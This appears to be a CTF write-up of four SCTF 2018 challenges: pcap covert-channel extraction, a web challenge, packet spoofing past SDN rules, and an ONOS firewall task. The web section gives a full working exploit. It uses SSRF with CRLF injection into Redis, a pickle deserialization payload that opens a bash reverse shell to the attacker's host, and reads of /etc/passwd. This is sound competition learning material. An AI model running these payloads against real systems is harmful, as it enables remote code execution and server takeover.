I’m very surprised that only 832 points is ranked in 10th…

index

Mic Check

SCTF{you_need_to_include_SCTF{}_too}

HideInSSL

Hacker stole the flag through the SSL protocol.

As the description says, there is suspicious data on TLS random bytes including something like JPEG between 192.168.0.107 and 192.168.0.128.

wireshark.png

18:00:00:00:ff:d8:ff:e0:00:10:4a:46:49:46:00:01:00:01:00:60:00:60:00:00:ff:fe:00:1f

first 4 bytes seems to be size of payload. \x18\x00\x00\x00 is 0x18 in little endian, also following 0x18 byte is JPEG header.

So whole data would be recovered by extracting each chunk. I tried to extract them into a file but this includes multiple JPEG file and each file seems to be corrupted.

Next I carefully looked into the traffic and found two facts:

  • sometimes 0 size packet appears
    • after this packet, JPEG file header appers again
  • there is response packet with payload 0 or 1
    • seems to be 1 means success and 0 means fail.

Extracting each payload after 1 response and combining them with 0 size packet as separator, I got 21 JPEG files but still corrupted.
Then trying to collect each payload before 1 response, I got valid JPEG files.

import pyshark
import struct
import os


pcaps = pyshark.FileCapture('./HideInSSL.pcap')
peer = ['192.168.0.128', '192.168.0.107']
response = '31'

cnt = 0
chunks = list()

if not os.path.exists('d'):
    os.mkdir('d')

for p in pcaps:
    if hasattr(p, 'ssl') and p.ip.src in peer and p.ip.dst in peer:
        if p.ip.src == peer[0]:
            response = p.tcp.payload

        if p.ip.src == peer[1]:
            d = ''.join(map(lambda s:s.decode('hex'), p.ssl.handshake_random_bytes.split(":")))
            size, data = struct.unpack("<I", d[:4])[0], d[4:]

            if response == '31':
                chunks.append(data[:size])

            if size == 0:
                open('./d/{}.jpg'.format(cnt), 'w').write(''.join(chunks))
                print cnt
                cnt += 1
                chunks = list()

combining a character in each JPEG files, I got flag.
SCTF{H3llo_Cov3rt_S5L}

WebCached

Cache Your Favorite Page @ WebCached

This application is viewer for entered url.
webcached1.png

Of course file scheme is available.

file:///etc/passwd
webcached2.png

First I checked /proc/self/cmdline and found that this application is running under uwsgi.

uwsgi--ini/tmp/uwsgi.ini

/tmp/uwsgi.ini

[uwsgi]
uid=www-data
gid=www-data
chdir=/app
module=run
callable=app
chmod-socket=664
socket=/tmp/uwsgi.sock
python-autoreload = 1
processes=16

then I found python source code at /app/run.py

#!/usr/bin/env python2
from redis import Redis
from flask import Flask, request, render_template
from flask import session, redirect, url_for, abort
from session_interface import RedisSessionInterface
import socket
import urllib


r = Redis()
app = Flask(__name__)
app.session_interface = RedisSessionInterface()
timeout = socket.getdefaulttimeout()


def cached(url):
    key = '{}:{}'.format(request.remote_addr, url)
    resp = r.get(key)
    if resp is None:
        resp = load_cache(url)
        r.setex(key, resp, 3)
    return resp


def load_cache(url):
    def get(url):
        return urllib.urlopen(url).read()
    socket.setdefaulttimeout(0.5)
    try:
        resp = get(url)
    except socket.timeout:
        resp = '{} may be dead...'.format(url)
    except Exception as e:
        resp = str(e)
    socket.setdefaulttimeout(timeout)
    return resp


@app.route('/view')
def view():
    url = session.get('url', None)
    if url is not None:
        session.pop('url')
        return cached(url)
    else:
        return redirect(url_for('main'))


@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method == 'GET':
        return render_template('main.html')
    else:
        url = request.form.get('url', None) or abort(404)
        session['url'] = url
        return redirect(url_for('view'))


if __name__ == '__main__':
    app.run(port=12000, host='0.0.0.0', debug=True)

also checked /app/session_interface.py

# Server-side Sessions with Redis
# http://flask.pocoo.org/snippets/75/
import base64
import pickle
from datetime import timedelta
from uuid import uuid4
from redis import Redis
from werkzeug.datastructures import CallbackDict
from flask.sessions import SessionInterface, SessionMixin


class RedisSession(CallbackDict, SessionMixin):
    def __init__(self, initial=None, sid=None, new=False):
        def on_update(self):
            self.modified = True
        CallbackDict.__init__(self, initial, on_update)
        self.sid = sid
        self.new = new
        self.modified = False


class RedisSessionInterface(SessionInterface):
    serializer = pickle
    session_class = RedisSession

    def __init__(self, redis=None, prefix='session:'):
        if redis is None:
            redis = Redis()
        self.redis = redis
        self.prefix = prefix

    def generate_sid(self):
        return str(uuid4())

    def get_redis_expiration_time(self, app, session):
        if session.permanent:
            return app.permanent_session_lifetime
        return timedelta(days=1)

    def open_session(self, app, request):
        sid = request.cookies.get(app.session_cookie_name)
        if not sid:
            sid = self.generate_sid()
            return self.session_class(sid=sid, new=True)
        val = self.redis.get(self.prefix + sid)
        if val is not None:
            val = base64.b64decode(val)
            data = self.serializer.loads(val)
            return self.session_class(data, sid=sid)
        return self.session_class(sid=sid, new=True)

    def save_session(self, app, session, response):
        domain = self.get_cookie_domain(app)
        if not session:
            self.redis.delete(self.prefix + session.sid)
            if session.modified:
                response.delete_cookie(app.session_cookie_name,
                                       domain=domain)
            return
        redis_exp = self.get_redis_expiration_time(app, session)
        cookie_exp = self.get_expiration_time(app, session)
        val = base64.b64encode(self.serializer.dumps(dict(session)))
        self.redis.setex(self.prefix + session.sid, val,
                         int(redis_exp.total_seconds()))
        response.set_cookie(app.session_cookie_name, session.sid,
                            expires=cookie_exp, httponly=True,
                            domain=domain)

so there seems to be two vulnerabilities:

  • RedisSessionInterface uses pickle as serializer
    • code execution is here! (if I could inject arbitrary data into redis db)
  • no check on url parameter on load_cache
    • this is vulnerable to SSRF

so roughly solution is do SSRF against redis with urllib and inject picked code into redis db.
Let’s check whether redis is vulnerable against SSRF or not. In python urllib, just injecting \r\n doesn’t work. I’ve found issue at CRLF Injection in httplib and found that \r\n[SPACE] still works.

urllib.urlopen("http://[MY_SERVER_IP]\r\n Injected: header\r\n :10080").read()
GET / HTTP/1.0
Host: [MY_SERVER_IP]
 Injected: header
 :10080
User-Agent: Python-urllib/1.17
Accept: */*

(One thing annoyed me was this exploit doesn’t work on macOS :(

Trying slaveof commands on redis, I got PING from redis server!
http://127.0.0.1\r\n slaveof [MY_SERVER_IP] 10080\r\n :6379

Connection from ec2-13-125-188-166.ap-northeast-2.compute.amazonaws.com 41614 received!
PING

(this command makes the application 500 but restored soon, sorry for temporary unavailability…

So everything is ready to exploit! Only remaining is prepare payload to inject. I checked locally and found the session is picked and base64 encoded {'url': '[URL]'} (dict). Of course pickle supports nested object so exploit is generated by following code:

import pickle

class RCE(dict):
    def __reduce__(self):
        return (__import__('os').system, ('bash -c "bash -i >& /dev/tcp/[MY_SERVER_IP]/10080 0>&1"', ))

rce = {'url': '', 'a': RCE()}

payload = base64.b64encode(pickle.dumps(rce))

this base64 encoded string should be injected to session:[session_id] in redis db. Note that the session cookie is deleted after redirected so you should not to follow redirect.

A conclusive exploit is here:

import requests
import pickle
import base64


class RCE(dict):
    def __reduce__(self):
        return (__import__('os').system, ('bash -c "bash -i >& /dev/tcp/[MY_SERVER_IP]/10080 0>&1"', ))

rce = {'url': '', 'a': RCE()}

payload = base64.b64encode(pickle.dumps(rce))
# cPickle.loads(cPickle.dumps(rce))
# exit(1)

url = "http://webcached.eatpwnnosleep.com/"
# url = "http://localhost:12000"

def ssrf(payload, host='127.0.0.1', port=6379):
    payload = payload.replace('\n', '\r\n ')
    return requests.post(url, data={'url': 'http://{}\r\n {}\r\n :{}'.format(host, payload, port), 'action': ''}).content

req = requests.post(url, data={'url': '', 'action': ''}, allow_redirects=False)

sid = req.cookies['session']

rediscmd = """
set 'session:{sid}' '{payload}'
quit
"""[1:-1].format(sid=sid, payload=payload)

print ssrf(rediscmd)
print requests.get(url, cookies={'session': sid}).content

I got shell and found the flag under /.

www-data@d33597a01cbb:/$ cat flag_dad9d752e1969f0e614ce2a4330efd6e
cat flag_dad9d752e1969f0e614ce2a4330efd6e
SCTF{c652f8004846fe0e3bf9571be26afbf1}

Through The Router

You are an industrial spy hiding in the SCTF company. You have found the secret recipe, but could not send any packet to your home. That is because SCTF's corporate network is configured with SDN, and that these [rules]> (https://s3.ap-northeast-2.amazonaws.com/sctf2018-qual-binaries/Rules.> png_8e49760cf79defa973b4e7199e50e0f062a49a15) are installed at all routers in the > network.

Craft a packet that satisfies:

  • It is a UDP packet
  • It arrives at 10.0.0.1:22136.
  • Its body is a 6-byte string ‘secret’.

Your packet will be sent using this python code:

s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
s.sendto(packet, ('10.0.0.1', 0))

Therefore the packet must include IP and UDP headers.

There are some rules on picture about openflow (or ONOS? I don’t know much about it)
Here is an important part of picture
ttr_rule.png

I thought a packet matching any of these rules would pass the firewall, so created crafted packet with scapy which has 10.1.7.8 as source IP and 5555 as source port.

In [21]: a = IP(src="10.1.7.8", dst="10.0.0.1")/UDP(sport=5555,dport=22136)/"secret"

In [22]: a
Out[22]: <IP  frag=0 proto=udp src=10.1.7.8 dst=10.0.0.1 |<UDP  sport=personal_agent dport=22136 |<Raw  load='secret' |>>>

In [23]: str(a).encode('hex')
Out[23]: '450000220001000040115fc10a0107080a00000115b35678000e3c51736563726574'

I put payload 450000220001000040115fc10a0107080a00000115b35678000e3c51736563726574 and got flag.

SCTF{Sp00f_7h3_p4ck3t_70_dr1ll_pr1v4t3_n37w0rk}

Not Open Network

You are the network admin of a black market service. You want to setup a firewall to protect the servers from hackers and police. Your servers use IPs in 10.0.0.0/16 range.

  • Drop all incoming packets except the ones heading to port 80.
  • Drop all packets containing string ‘police’, case insensitive.
  • All other packets are sent to correct destinations. You may assume that there will be TCP packets only.

In this challenge I had to set up ONOS environment by reading Getting started page.

After some trying on ONOS development, I found that the task is to write firewall at AppComponent::MyPacketProcessor::process in devenv/env/myapp/src/main/java/com/example/myapp/AppComponent.java to satisfy the problem description.

Of course I don’t know about ONOS, I’ve refered some documents and finally passed with following code:

...

import org.onlab.packet.*;

...

    private class MyPacketProcessor implements PacketProcessor {
        // This method is invoked whenever we receive a packet
        // that is not matched in the routing tables.
        @Override
        public void process(PacketContext context) {
            // Return if another app has already dealt with this packet.
            if (context.isHandled())
                return;

            InboundPacket pkt = context.inPacket();
            Ethernet ethPkt = pkt.parsed();
            if (ethPkt == null)
                return;

            // begin added code
            if (ethPkt.getEtherType() == Ethernet.TYPE_IPV4) {
                IPv4 ippkt = (IPv4)ethPkt.getPayload();

                int ip = ippkt.getDestinationAddress();
                int oct1 = (ip >> (8 * 3)) & 0xff;
                int oct2 = (ip >> (8 * 2)) & 0xff;
                boolean toserver = (oct1 == 10 && oct2 == 0);

                if (ippkt.getProtocol() == IPv4.PROTOCOL_TCP) {
                    TCP tcp = (TCP)ippkt.getPayload();

                    if ((new String(tcp.serialize())).indexOf("police") != -1) {
                        return;
                    }
                    if (toserver && tcp.getDestinationPort() != 80) {
                        return;
                    }
                }
            }
            // end added code

            allowPacket(context, ethPkt);
        }

...

note that you have to serialize TCP object to check content. (.toString doesn’t work)

SCTF{The_B4sic_0f_SDN_4pp}